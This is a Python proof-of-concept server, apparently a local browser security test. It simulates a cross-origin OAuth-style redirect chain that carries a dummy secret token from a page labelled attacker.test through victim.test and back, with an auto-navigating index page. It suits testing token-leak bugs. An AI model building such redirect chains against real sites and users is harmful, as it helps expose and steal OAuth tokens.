#!/usr/bin/env python3
"""
HTTP server simulating a cross-origin OAuth-style redirect chain.

  http://attacker.test:8080/start
    -> 302 Location: http://victim.test:8080/oauth?token=SECRET_OAUTH_TOKEN_abc123
    -> 302 Location: http://attacker.test:8080/done.html
    -> 200 OK

Chrome must be launched with:
  --host-resolver-rules="MAP *.test 127.0.0.1"
"""
import http.server
import socketserver

PORT = 8080
SECRET = "SECRET_OAUTH_TOKEN_abc123"


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        host = self.headers.get("Host", "")
        if self.path.startswith("/start"):
            # Hop 1: attacker.test -> victim.test (cross-origin) carrying secret
            self.send_response(302)
            self.send_header(
                "Location", f"http://victim.test:{PORT}/oauth?token={SECRET}"
            )
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
        elif self.path.startswith("/oauth"):
            # Hop 2: victim.test -> attacker.test (cross-origin)
            self.send_response(302)
            self.send_header("Location", f"http://attacker.test:{PORT}/done.html")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
        elif self.path == "/done.html":
            body = b"<!doctype html><title>done</title><h1>done</h1>"
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
        elif self.path == "/index.html" or self.path == "/":
            body = (
                b"<!doctype html><title>poc</title>"
                b"<a id=go href='http://attacker.test:8080/start'>go</a>"
                b"<script>setTimeout(()=>location='http://attacker.test:8080/start',100)</script>"
            )
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, fmt, *args):
        print("[server]", self.headers.get("Host", "?"), fmt % args)


class ReuseTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


if __name__ == "__main__":
    with ReuseTCPServer(("127.0.0.1", PORT), Handler) as httpd:
        print(f"serving on 127.0.0.1:{PORT}")
        httpd.serve_forever()
